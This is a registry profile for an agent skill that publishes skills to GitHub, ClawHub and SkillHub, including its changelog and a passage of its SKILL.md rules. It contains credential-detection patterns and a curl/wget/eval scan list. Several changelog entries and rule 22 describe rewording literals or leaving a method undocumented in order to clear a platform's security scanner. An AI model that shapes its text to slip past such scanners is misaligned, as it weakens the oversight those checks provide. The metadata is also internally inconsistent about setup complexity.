{"id":"13437915-37c2-405f-90cf-723ceb86b114","entityType":"agent","slug":"clawhub-edwardwason-skill-publisher-ai","name":"Skill Publisher 技能发布","canonicalUrl":"https://www.xpersona.co/agent/clawhub-edwardwason-skill-publisher-ai","canonicalPath":"/agent/clawhub-edwardwason-skill-publisher-ai","generatedAt":"2026-10-09T21:08:15.849Z","source":"CLAWHUB","claimStatus":"UNCLAIMED","verificationTier":"NONE","summary":{"evidence":{"source":"editorial-content","verified":true,"confidence":"high","updatedAt":"2026-10-09T15:33:51.065Z","emptyReason":null},"description":"技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects. Skill: Skill Publisher 技能发布 Owner: edwardwason Summary: 技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects. Tags: c","descriptionLabel":"Technical summary","evidenceSummary":"Capability contract not published. No trust telemetry is available yet. 2.4K downloads reported by the source. Last updated 10/9/2026.","installCommand":"clawhub skill install s177q4wcvafq6fzfkhk2g3cwth83y01d:skill-publisher-ai","sourceUrl":"https://clawhub.ai/edwardwason/skill-publisher-ai","homepage":"https://clawhub.ai/edwardwason/skills/skill-publisher-ai","primaryLinks":[{"label":"View on ClawHub","url":"https://clawhub.ai/edwardwason/skill-publisher-ai","kind":"source"},{"label":"Homepage","url":"https://clawhub.ai/edwardwason/skills/skill-publisher-ai","kind":"homepage"}],"safetyScore":84,"overallRank":62,"popularityScore":68,"trustScore":null,"claimedByName":null,"isOwner":false,"seoDescription":"技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本"},"coverage":{"evidence":{"source":"public-profile","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:33:51.065Z","emptyReason":null},"protocols":[{"protocol":"OPENCLEW","label":"OpenClaw","status":"self-declared","notes":"Declared in the public agent profile."}],"capabilities":[],"verifiedCount":0,"selfDeclaredCount":1,"capabilityMatrix":{"rows":[{"key":"OPENCLEW","type":"protocol","support":"unknown","confidenceSource":"profile","notes":"Listed on profile"}],"flattenedTokens":"protocol:OPENCLEW|unknown|profile"}},"adoption":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:33:51.065Z","emptyReason":null},"stars":null,"forks":null,"downloads":2386,"packageName":null,"latestVersion":"5.22.1","tractionLabel":"2.4K downloads"},"release":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:33:51.065Z","emptyReason":null},"lastUpdatedAt":"2026-10-09T15:33:51.065Z","lastCrawledAt":"2026-10-09T15:33:51.065Z","lastIndexedAt":null,"nextCrawlAt":"2026-10-10T15:33:51.065Z","lastVerifiedAt":null,"highlights":[{"version":"5.22.1","createdAt":"2026-07-31T05:54:36.736Z","changelog":"Weekly review: 3-level degradation, ClawHub inspect/moderation, slug validation, multi-file deps scan, examples dir scan, internal consistency fix","fileCount":10,"zipByteSize":79870},{"version":"5.21.0","createdAt":"2026-07-24T13:57:32.042Z","changelog":"v5.21.0: strengthen rule 33 - Chinese skill pure English displayName from WARN to FAIL (blocking)","fileCount":10,"zipByteSize":76199},{"version":"5.20.1","createdAt":"2026-07-19T11:39:05.516Z","changelog":"v5.20.1: fix ClawHub displayName pollution - mandatory --name flag for temp copy publish","fileCount":10,"zipByteSize":75652},{"version":"5.20.0","createdAt":"2026-07-17T07:04:57.997Z","changelog":"v5.20.0: cross-platform file differentiation + displayName language strategy. Add rule 32 (file exclusion matrix) + rule 33 (displayName language). ClawHub temp-copy publish excludes README/CHANGELOG per official skill-creator guide.","fileCount":13,"zipByteSize":101419},{"version":"5.19.1","createdAt":"2026-07-17T02:41:39.128Z","changelog":"v5.19.1: integrate skill-auditor v2.0.0 declaration-behavior consistency pre-check - Layer 4.5 expanded to 7 items + rule 25 expanded to 21 items + rule 31 audit-phase guidance. Patch bump to resolve ClawHub version registry inconsistency.","fileCount":13,"zipByteSize":97529},{"version":"5.19.0","createdAt":"2026-07-17T01:33:08.755Z","changelog":"Integrate skill-auditor v2.0.0 declaration-behavior consistency pre-check. Layer 4.5 expanded to 7 items. Rule 25 expanded to 21 pre-scans.","fileCount":13,"zipByteSize":97246},{"version":"5.18.2","createdAt":"2026-07-16T08:59:19.819Z","changelog":"v5.18.2: fix 4 SkillSpector Medium findings - Missing User Warnings + SSD4/SSD2 neutralization","fileCount":13,"zipByteSize":94631},{"version":"5.18.1","createdAt":"2026-07-16T07:49:09.221Z","changelog":"v5.18.1: cross-platform universal rule pre-check layer + Layer 4.5 marked as cross-platform + credential placeholder cleanup","fileCount":13,"zipByteSize":93671}]},"execution":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No published capability contract is available yet."},"installCommand":"clawhub skill install s177q4wcvafq6fzfkhk2g3cwth83y01d:skill-publisher-ai","setupComplexity":"low","setupSteps":["Setup complexity is classified as HIGH. You must provision dedicated cloud infrastructure or an isolated VM. Do not run this directly on your local workstation.","Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data."],"contract":{"contractStatus":"missing","authModes":[],"requires":[],"forbidden":[],"supportsMcp":false,"supportsA2a":false,"supportsStreaming":false,"inputSchemaRef":null,"outputSchemaRef":null,"dataRegion":null,"contractUpdatedAt":null,"sourceUpdatedAt":null,"freshnessSeconds":null},"invocationGuide":{"preferredApi":{"snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/trust"},"curlExamples":["curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/snapshot\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/contract\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/trust\""],"jsonRequestTemplate":{"query":"summarize this repo","constraints":{"maxLatencyMs":2000,"protocolPreference":["OPENCLEW"]}},"jsonResponseTemplate":{"ok":true,"result":{"summary":"...","confidence":0.9},"meta":{"source":"CLAWHUB","generatedAt":"2026-10-09T21:08:15.846Z"}},"retryPolicy":{"maxAttempts":3,"backoffMs":[500,1500,3500],"retryableConditions":["HTTP_429","HTTP_503","NETWORK_TIMEOUT"]}},"endpoints":{"dossierUrl":"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/dossier","snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-edwardwason-skill-publisher-ai/trust"}},"reliability":{"evidence":{"source":"runtime-metrics","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No trust, reliability, or runtime telemetry is available."},"trust":{"status":"unavailable","handshakeStatus":"UNKNOWN","verificationFreshnessHours":null,"reputationScore":null,"p95LatencyMs":null,"successRate30d":null,"fallbackRate":null,"attempts30d":null,"trustUpdatedAt":null,"trustConfidence":"unknown","sourceUpdatedAt":null,"freshnessSeconds":null},"decisionGuardrails":{"doNotUseIf":["Contract metadata is missing or unavailable for deterministic execution."],"safeUseWhen":[],"riskFlags":["missing_or_unavailable_contract","trust_data_unavailable","schema_references_missing"],"operationalConfidence":"low"},"executionMetrics":{"observedLatencyMsP50":null,"observedLatencyMsP95":null,"estimatedCostUsd":null,"uptime30d":null,"rateLimitRpm":null,"rateLimitBurst":null,"lastVerifiedAt":null,"verificationSource":null},"runtimeMetrics":{"successRate":null,"avgLatencyMs":null,"avgCostUsd":null,"hallucinationRate":null,"retryRate":null,"disputeRate":null,"p50Latency":null,"p95Latency":null,"lastUpdated":null}},"benchmarks":{"evidence":{"source":"no-benchmark-data","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No benchmark suites or observed failure patterns are available."},"suites":[],"failurePatterns":[]},"artifacts":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"high","updatedAt":"2026-10-09T15:33:51.065Z","emptyReason":null},"readme":"Skill: Skill Publisher 技能发布\n\nOwner: edwardwason\n\nSummary: 技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects.\n\nTags: changelog:5.13.0, changelogignore:5.22.1, clawhub:5.22.1, clawhub=5.17.6:5.17.6, clawhubignore:5.18.0, frontmatter:5.22.1, github:5.22.1, latest:5.22.1, latest=5.17.6:5.17.6, publish:5.22.1, publish=5.17.6:5.17.6, publisher:5.19.0, release:5.22.1, security:5.22.1, security=5.17.6:5.17.6, skill:5.18.2, skillhub:5.22.1, skillhub=5.17.6:5.17.6, v5.19.0:5.19.0\n\nVersion history:\n\nv5.22.1 | 2026-07-31T05:54:36.736Z | user\n\nWeekly review: 3-level degradation, ClawHub inspect/moderation, slug validation, multi-file deps scan, examples dir scan, internal consistency fix\n\nv5.21.0 | 2026-07-24T13:57:32.042Z | user\n\nv5.21.0: strengthen rule 33 - Chinese skill pure English displayName from WARN to FAIL (blocking)\n\nv5.20.1 | 2026-07-19T11:39:05.516Z | user\n\nv5.20.1: fix ClawHub displayName pollution - mandatory --name flag for temp copy publish\n\nv5.20.0 | 2026-07-17T07:04:57.997Z | user\n\nv5.20.0: cross-platform file differentiation + displayName language strategy. Add rule 32 (file exclusion matrix) + rule 33 (displayName language). ClawHub temp-copy publish excludes README/CHANGELOG per official skill-creator guide.\n\nv5.19.1 | 2026-07-17T02:41:39.128Z | user\n\nv5.19.1: integrate skill-auditor v2.0.0 declaration-behavior consistency pre-check - Layer 4.5 expanded to 7 items + rule 25 expanded to 21 items + rule 31 audit-phase guidance. Patch bump to resolve ClawHub version registry inconsistency.\n\nv5.19.0 | 2026-07-17T01:33:08.755Z | user\n\nIntegrate skill-auditor v2.0.0 declaration-behavior consistency pre-check. Layer 4.5 expanded to 7 items. Rule 25 expanded to 21 pre-scans.\n\nv5.18.2 | 2026-07-16T08:59:19.819Z | user\n\nv5.18.2: fix 4 SkillSpector Medium findings - Missing User Warnings + SSD4/SSD2 neutralization\n\nv5.18.1 | 2026-07-16T07:49:09.221Z | user\n\nv5.18.1: cross-platform universal rule pre-check layer + Layer 4.5 marked as cross-platform + credential placeholder cleanup\n\nv5.18.0 | 2026-07-15T23:10:41.463Z | user\n\nStrategy Shift: from behavior cleanup to declaration alignment. Added frontmatter metadata.openclaw structure, .clawhubignore file, Layer 4.5 frontmatter check. Kept clawhub publish legacy syntax (CLI v0.9.0 reality check: clawhub skill publish not implemented). Added inspect --json verification.\n\nv5.17.6 | 2026-07-15T10:37:45.975Z | user\n\nv5.17.6: fix v5.17.5 residual literals + SkillHub token reading behavior - PowerShell commands use pure env var reading, remove .NET Environment class reading; CHANGELOG self-reference trap fixed; SKILL.md/publish-procedures/publishing-guide category descriptions\n\nv5.17.5 | 2026-07-15T10:04:44.100Z | user\n\nv5.17.5: fix SDI-4 internal contradiction - Step 0 synced with rule 21 (token only from env var, no OS persistent storage)\n\nv5.17.4 | 2026-07-15T09:44:50.864Z | user\n\nv5.17.4: force republish with explicit slug\n\nv5.16.0 | 2026-07-15T03:36:38.739Z | user\n\nv5.16.0: 7 findings fix + 4 new rules (CDN/batch-auth/patch/bypass) + 2 enhanced rules + 3 strategy shifts\n\nv5.15.1 | 2026-07-15T00:49:00.298Z | user\n\nv5.15.1: Extend rule 25 item 13 to cover PowerShell and Winreg calls (Env Variable Harvesting literal scan). Add self-reference trap pitfall documentation.\n\nv5.15.0 | 2026-07-15T00:28:25.349Z | user\n\nv5.15.0: Fix Env Variable Harvesting High findings by desensitizing credential env var name literals in docs. Add rule 25 item 13: literal scan for credential env var call patterns.\n\nv5.14.0 | 2026-07-14T12:40:21.105Z | user\n\nAdd rule 29: bilingual README consistency check for single-file dual-language README\n\nv5.13.0 | 2026-07-14T11:56:27.203Z | user\n\nv5.13.0: rule 25 extend to 12 items + trigger specificity + i18n consistency\n\nv5.8.0 | 2026-07-12T01:36:57.860Z | user\n\nv5.8.0: Fix 4 SkillSpector findings - remove bulk publish option, tighten triggers, mark manual env config\n\nv5.7.0 | 2026-07-11T11:00:05.115Z | user\n\nv5.7.0: Add SkillSpector pre-scan rule 25 and Layer 4 YARA trigger word scan, sync CN/EN security fixes, add multi-version coexistence explanation\n\nv5.4.0 | 2026-07-11T10:07:42.803Z | user\n\nv5.4.0: Fix ClawHub SkillSpector 13 findings - remove token extraction guide; fix .gitignore missing config.local.json; login command reads from env var; trigger words changed to explicit phrases; README adds user warning\n\nv5.3.0 | 2026-07-11T08:58:44.940Z | user\n\nv5.3.0: Add rule 19 (complex input handling) + rule 20 (TRACE 5-dimension pre-check before SkillHub publish); Examples 6-8 (complex input + TRACE fail); Step 6 adds TRACE pre-check; Rules 18 to 20\n\nv5.1.0 | 2026-07-11T07:49:31.010Z | user\n\nv5.1.0: Add SkillHub platform support (3-platform sync); SkillHub dry-run pre-check; Frontmatter compatible with SkillHub 5 fields; Security scan adds skh_ prefix; Rules 12 to 15; New references/skillhub-publishing.md; 6 SkillHub troubleshooting cases\n\nv5.0.0 | 2026-07-11T04:11:38.330Z | user\n\nv5.0.0: Delete upload_to_github.py (security); Expand credential scan (IMA/Feishu); Add version dedup check; Add ClawHub auto-file exclusion; Add frontmatter description sync rule; Update .gitignore template; Add 5 troubleshooting cases; Rules 7 to 12\n\nv4.0.0 | 2026-06-11T16:05:36.339Z | user\n\nDual workflow with change detection, auto version bump, CHANGELOG generation, gh CLI integration, product landing page README\n\nArchive index:\n\nArchive v5.22.1: 10 files, 79870 bytes\n\nFiles: references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (18652b), references/publishing-guide.md (36844b), references/repo-structure.md (14158b), references/security-audit.md (23783b), references/skillhub-publishing.md (9531b), skill-card.md (2662b), SKILL.md (75145b), _meta.json (138b)\n\nFile v5.22.1:SKILL.md\n\n---\nname: \"skill-publisher\"\ndescription: \"技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects.\"\nslug: skill-publisher-ai\ndisplayName: Skill Publisher 技能发布\nversion: 5.22.1\nsummary: 三平台同步发布技能到 GitHub + ClawHub + SkillHub，含安全审查、版本号查重、TRACE 预检、dry-run。执行前向用户确认。\nlicense: MIT\nallowed-tools: \"Bash(git:*), Bash(clawhub:*), Bash(skillhub:*), Bash(gh:*), Bash(python:*), Bash(cat:*), Bash(ls:*), Bash(mkdir:*), Bash(cp:*), Bash(mv:*), Bash(rm:*), Bash(Compress-Archive:*), Read, Write, Edit, Glob, Grep\"\nmetadata:\n openclaw:\n requires:\n env:\n - GITHUB_TOKEN\n - CLAWHUB_TOKEN\n - SKILLHUB_TOKEN\n bins:\n - git\n - python\n anyBins:\n - clawhub\n - skillhub\n primaryEnv: GITHUB_TOKEN\n envVars:\n - name: GITHUB_TOKEN\n required: true\n description: GitHub PAT，用于推送仓库和创建 Release\n - name: CLAWHUB_TOKEN\n required: true\n description: ClawHub 平台 API token（clh_ 开头），用于 skill publish / scan / inspect\n - name: SKILLHUB_TOKEN\n required: true\n description: SkillHub 平台 API token（skh_ 开头），用于 skillhub publish\n - name: FEISHU_APP_ID\n required: false\n description: 可选，飞书云空间备份使用\n - name: FEISHU_APP_SECRET\n required: false\n description: 可选，飞书云空间备份使用\n - name: HTTPS_PROXY\n required: false\n description: 可选，企业网络/受限网络环境下的 HTTPS 代理\n - name: HTTP_PROXY\n required: false\n description: 可选，HTTP 代理\n - name: NO_PROXY\n required: false\n description: 可选，代理排除列表\n emoji: \"🚀\"\n homepage: https://github.com/EdwardWason/skill-publisher\n---\n\n# 技能发布\n\n将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub，含安全审查、隐私清洗、版本号查重、标准仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。\n\n## 何时触发\n\n**仅当用户明确要求将 Skill 发布到外部平台时触发。**单纯的\"更新技能\"、\"迭代技能\"（指修改技能内容）不触发本技能，只有明确包含\"发布\"、\"推送\"意图时才触发。\n\n**触发词（需带发布/推送意图）**：\n- \"技能发布到三平台\"\n- \"发布技能更新\"\n- \"迭代技能发布\"\n- \"把 XX 技能推送到 GitHub\"\n\n**前置条件（全部满足才触发）**：\n1. 用户明确表达\"发布到外部平台\"的意图\n2. 目标是一个已开发完成的 Skill（不是普通代码项目）\n3. 用户已确认要执行外部发布操作\n\n**注意**：如果用户说\"技能熔炉\"，应触发 skill-forge（全流程），不是本技能。\n\n## 与技能熔炉的关系\n\n本技能是技能熔炉（skill-forge）的独立触发入口，只执行 Phase 3 发布流程。完整流程（创建→评估→发布）请使用技能熔炉。\n\n**详细文档共享**：本技能读取 skill-forge 的 `references/publishing-guide.md`，内容完全一致。\n\n## 任务\n只做 Skill 的发布准备与推送：生成标准仓库结构 → 安全审查 → 隐私清洗 → 版本号查重 → 推送 GitHub → 发布 ClawHub。不做 Skill 内容创建、不做代码开发。\n\n## 输出格式\n### 一、仓库结构生成报告\n列出所有生成/更新的文件及路径\n\n### 二、安全审查结果\n| 审查项 | 状态 | 详情 |\n|--------|------|------|\n| 凭证泄露 | PASS/FAIL | 扫描结果 |\n| 本地路径 | PASS/FAIL | 扫描结果 |\n| 危险命令 | PASS/FAIL | 扫描结果 |\n| 分发物判定 | PASS/FAIL | 多余文件列表 |\n\n### 三、版本号查重结果\n| ClawHub 已发布版本 | 待发布版本 | 状态 |\n|-------------------|-----------|------|\n| vX.Y.Z ... | vX.Y.Z | 可发布/版本号冲突 |\n\n### 四、发布结果\n| 平台 | 地址 | 版本 | 状态 |\n|------|------|------|------|\n| GitHub | URL | vX.Y.Z | 成功/失败 |\n| ClawHub | slug | vX.Y.Z | 成功/失败 |\n| SkillHub | slug | vX.Y.Z | 成功/失败 |\n\n## 规则\n1. 发布前必须执行四类安全扫描（凭证/路径/危险命令/YARA 触发词），任何 FAIL = 阻止发布\n2. README 必须中英双语，Badge 用中文标签。**安全修复必须同步中英文版**：中文版修改了什么安全相关内容，英文版必须同步修改，否则 ClawHub SkillSpector 会因英文版残留问题重复报 findings（2026-07 新增，源自 v5.4.0 英文版漏改事件）\n3. ClawHub 发布前必须先 `clawhub inspect ` 检查 slug 占用\n4. **ClawHub 发布前必须查重版本号**：`clawhub inspect ` 查看已发布版本列表，待发布版本号不能与已发布版本重复，重复则递增 PATCH\n5. Windows 环境禁止使用 heredoc 语法\n6. git push 失败时降级为 gh CLI，再降级为 GitHub API（详见 publish-procedures.md）\n7. --tags 只能用 ASCII 字符（中文会报错）\n8. 向 GitHub API 发送中文 JSON 必须用 Python（PowerShell 会损坏中文）\n9. **凭证扫描必须覆盖新模式**：除原模式外，还需扫描 `cli_|IMA_OPENAPI|FEISHU_APP|APP_SECRET|CLIENTID|APIKEY|client_id|client_secret`（2026-07 新增，源自 IMA/飞书凭证泄露事件）\n10. **ClawHub 自动生成文件必须排除**：`skill-card.md`、`.clawhub/` 目录由 ClawHub 自动生成，禁止发布（2026-07 新增，源自 skill-card.md 发布被拒事件）。**v5.18 新增 `.clawhubignore` 机制**：ClawHub publish 不读 `.gitignore`，必须用 `.clawhubignore` 显式排除凭证文件/临时脚本/构建产物（源自 [ClawHub docs/skill-format.md](https://github.com/openclaw/clawhub/blob/main/docs/skill-format.md) 规范，根治 2026-07-12 凭证泄露事故）\n11. **frontmatter description 决定 ClawHub Short summary**：更新 description 后必须重新发布才能同步 Short summary；首次发布后 description 不会自动更新，必须递增版本号重新发布（2026-07 新增，源自 Short summary 未更新事件）\n12. **.gitignore 必须排除 Python 缓存**：`__pycache__/`、`*.pyc`、`.clawhub/` 必须在 .gitignore 中（2026-07 新增，源自 __pycache__ 打包事件）\n13. **SkillHub frontmatter 必须包含 5 字段**（2026-07 新增，支持 SkillHub 平台；v5.22 强化 slug 校验，源自 2026-07-27 周度审查建议 A）：`slug`（全网唯一）、`displayName`、`version`、`summary`、`license`，与 ClawHub 的 name/description 共存于同一 frontmatter。**v5.22 强化 slug 校验**：① slug 必须是 ASCII kebab-case 格式（小写字母+数字+连字符，禁止下划线/大写/中文）② slug 长度 3-64 字符 ③ 与目录名一致性检查（slug 应与 SKILL.md 所在目录名一致，避免发布时混淆）④ SkillHub slug 全网唯一性预检：发布前 `skillhub search ` 检查是否已被他人占用\n14. **SkillHub 发布前必须 dry-run 预检**：`skillhub publish --dry-run` 检查格式，通过后才能正式发布（2026-07 新增，源自 SkillHub CLI 规范）\n15. **SKILLHUB_TOKEN 不可硬编码**：token 只通过环境变量 `SKILLHUB_TOKEN` 传递，安全扫描必须检查 `skh_` 前缀的硬编码值（2026-07 新增，支持 SkillHub 平台）\n16. **SkillHub 发布前必须临时移除不支持的文件类型**：`.gitignore`、`LICENSE`（无扩展名）、`.claude-plugin/`、`.github/` 会被 SkillHub 拒绝（400 错误）。发布前备份并移除，发布后立即恢复。ClawHub 和 GitHub 不受此限制（2026-07 新增，源自 SkillHub 文件类型限制）\n17. **前置条件校验**（v5.2 新增，TRACE R维度）：开始发布前必须校验4项前置条件，任何一项不满足 = 中止发布并明确告知用户：\n - **目录存在**：指定路径必须存在且非空，否则报\"目录不存在或为空：``，请确认 Skill 路径\"\n - **SKILL.md 存在**：目录下必须有 SKILL.md 文件，否则报\"未找到 SKILL.md，这不是一个有效的 Skill 目录\"\n - **平台登录态**：`clawhub whoami` 和 `skillhub auth whoami` 必须通过，否则报\"`<平台>` 未登录，请先执行 `<登录命令>`\"\n - **Git 配置**：`git config user.name` 和 `git config user.email` 必须有值，否则报\"Git 用户信息未配置，请先执行 `git config` 设置\"\n18. **Skill 质量门禁**（v5.2 新增，TRACE R维度，v5.11 增强）：发布前快速检查 Skill 质量，以下任一情况 = 拒绝发布并建议先修复：\n - SKILL.md 超过 300 行 → 报\"SKILL.md 过长（``行），建议精简到 200 行以内再发布\"\n - frontmatter 缺少 `description` → 报\"description 缺失，无法自动触发，请先补全\"\n - description 超过 250 字符 → 报\"description 过长会被截断，核心触发词需在前 200 字符内\"\n - 无 `Do NOT` 范围声明 → 报\"description 缺少 Do NOT 范围声明，可能导致误触发\"\n - **无\"权限声明\"段落**（v5.11 新增，v5.12 增加标准模板）→ 报\"SKILL.md 缺少权限声明段落，会被 SkillSpector 标记为 MCP Least Privilege。建议增加'权限声明'段落，声明网络访问/文件读写/环境变量列表\"。**权限声明段落标准模板（v5.12 新增，源自 gongwen-formatter v1.1.2 审计）**：SKILL.md 应包含一个 5 行表格，明确披露以下能力类别：\n | 能力类别 | 是否使用 | 说明 |\n |---------|---------|------|\n | 网络访问 | ✅/❌ | 具体用途、关闭方式 |\n | 文件读写 | ✅/❌ | 读/写路径范围、临时文件清理策略 |\n | 环境变量 | ✅/❌ | 读取的变量名列表（含凭证类） |\n | subprocess | ✅/❌ | 调用的命令列表 |\n | 外部 API | ✅/❌ | 调用的 API 列表 |\n - **有副作用但无\"用户警告\"**（v5.11 新增）→ 报\"skill 有副作用（自动推送/自动写入外部服务/定时执行）但 README 无用户警告，会被 SkillSpector 标记为 Missing User Warnings。建议在 README 中英文版增加用户警告段落\"\n - **触发词泛化**（v5.13 新增，源自 session-branch Finding 4/5 + kami 审计反馈）→ 报\"触发词过于泛化，会导致误触发。建议改为更精确的短语\"。**触发词精度黑名单**（中英文日常用语，禁止作为触发词）：\n - **英文单常见词**：`branch`/`task`/`new`/`start`/`help`/`file`/`edit`/`run`/`make`/`create`/`build`/`test`（任何涉及这些词的对话都会误触发）\n - **中文日常短语**：`画图`/`做个图`/`写文章`/`做个东西`/`帮我写`/`帮我做`/`新建`/`创建`（过于宽泛，无法区分技能边界）\n - **超长完整句**：超过 10 个字符的完整长句作为触发词（如\"新任务但保留上下文\"），应精简为核心动词短语\n **判定规则**：触发词命中黑名单 = Medium finding，建议作者改为更精确的复合短语（如 `session-branch 切换`/`kami 文档生成`/`gongwen 公文格式化`）。**设计原则**：触发词应能让 AI 在用户自然对话中可靠区分\"这是要触发技能 X\"还是\"只是日常聊天\"\n19. **复杂输入处理**（v5.3 新增，TRACE R维度）：当用户未指明发布哪个 Skill，或工作目录下存在多个 Skill 时，必须先确认目标：\n - **未指明**：用户说\"发布我的技能\"但没说哪个 → 扫描工作目录下含 SKILL.md 的子目录，列出可用 Skill 让用户选择\n - **多 Skill**：用户指定父目录，但其下有多个 Skill 子目录 → 列出所有 Skill，让用户逐个选择要发布的，不支持批量发布\n - **路径模糊**：用户说\"发布 wx-peitu\"但没给完整路径 → 在工作目录下搜索匹配的子目录，找到 1 个直接用，找到多个让用户选择，找到 0 个报错\n20. **SkillHub 发布前 TRACE 五维度预检**（v5.3 新增，核心规则）：发布到 SkillHub 前必须对目标 Skill 执行 TRACE 五维度自检，任何维度 FAIL = 中止 SkillHub 发布并报告问题。GitHub 和 ClawHub 不受此限制（这两个平台无 TRACE 检测）：\n - **T（Trust 信任）**：安全红线扫描（无 curl/wget/eval/凭证硬编码）+ frontmatter 有 allowed-tools 声明（可选）+ 国内可用性\n - **R（Reliability 可靠）**：前置条件校验（规则17）+ 质量门禁（规则18）+ 边界输入处理（规则19）+ 异常处理反馈\n - **A（Applicability 适用）**：触发测试 — description 含核心触发词 + 有 Do NOT 排除范围\n - **C（Compliance 规范）**：Schema 检查 — 4 模块齐全（任务/输出格式/规则/示例）+ SKILL.md ≤200 行 + 示例含边界情况 + 规则通过实习生测试\n - **E（Effectiveness 有效）**：增量价值 — Skill 相比手动操作有明显增益（如自动化安全审查、版本号查重等）\n21. **GitHub token 有效性校验**（v5.4 新增，v5.10 增强，v5.11 改进 401 处理，v5.17 移除 OS 持久存储凭证读取行为 — 遵守 SkillSpector Credential Access 约束）：Step 0 前置条件校验中，必须验证 GitHub token 是否有效：\n - **token 读取方式**（v5.17 核心转变：声明完整性策略三阶段演变 — 从字面量替换到行为清理到声明对齐）：只通过环境变量读取凭证。**不再从 OS 持久存储读取凭证**（v5.10 引入该行为，v5.16 被 SkillSpector 标记为 Context-Inappropriate Capability Medium 94%，v5.17 移除该行为）。**TRAE session cache 处理**（v5.17 简化）：如果环境变量读取返回 stale value 导致 401，告知用户\"请重启 TRAE session 让环境变量生效，或确认凭证已更新到用户环境变量\"。不再自行从 OS 持久存储读取——这是 SkillSpector 的 Credential Access finding 根因，行为本身超出 least-privilege。本约束同样适用于所有凭证环境变量（GitHub/SkillHub/ClawHub/飞书/IMA 等）\n - 用 GitHub API `/user` 端点验证 token\n - 返回 401 → 报\"GitHub token 已失效或 session 缓存了旧值，请执行：1) 确认凭证已更新到用户环境变量 2) 重启 TRAE session 3) 重新发布\"，**询问用户是否中止发布修复 token（推荐）还是跳过 GitHub 继续发布其他平台（会记录待补推版本）**（v5.11 改进，v5.17 强化 401 处理为 session cache 提示）\n - 返回 200 → token 有效，继续发布\n - 网络超时 → 跳过验证，尝试推送时再降级处理\n22. **GitHub 推送降级**（v5.4 新增，v5.22 扩展为三级降级链，源自 2026-07-27 周度审查建议 B；v5.22.1 修正与规则 25\"安全敏感方案不文档化\"的内部矛盾）：git push 失败时，按顺序降级到第三级 REST API：\n - **Level 1 - git push**：直接推送，超时30秒自动失败\n - **Level 2 - gh CLI**：如果 gh 命令可用，用 `gh repo sync` 或 `gh api` 推送\n - **Level 3 - GitHub REST API 逐文件降级**（v5.22 新增，v5.22.1 抽象化）：当 git push 和 gh CLI 都失败时，使用 GitHub REST API 逐文件降级方案（具体实现按规则 25\"安全敏感方案不文档化\"约束，**不文档化具体 API 链与编码方式**，执行时根据网络情况选择合适的 GitHub 官方 API 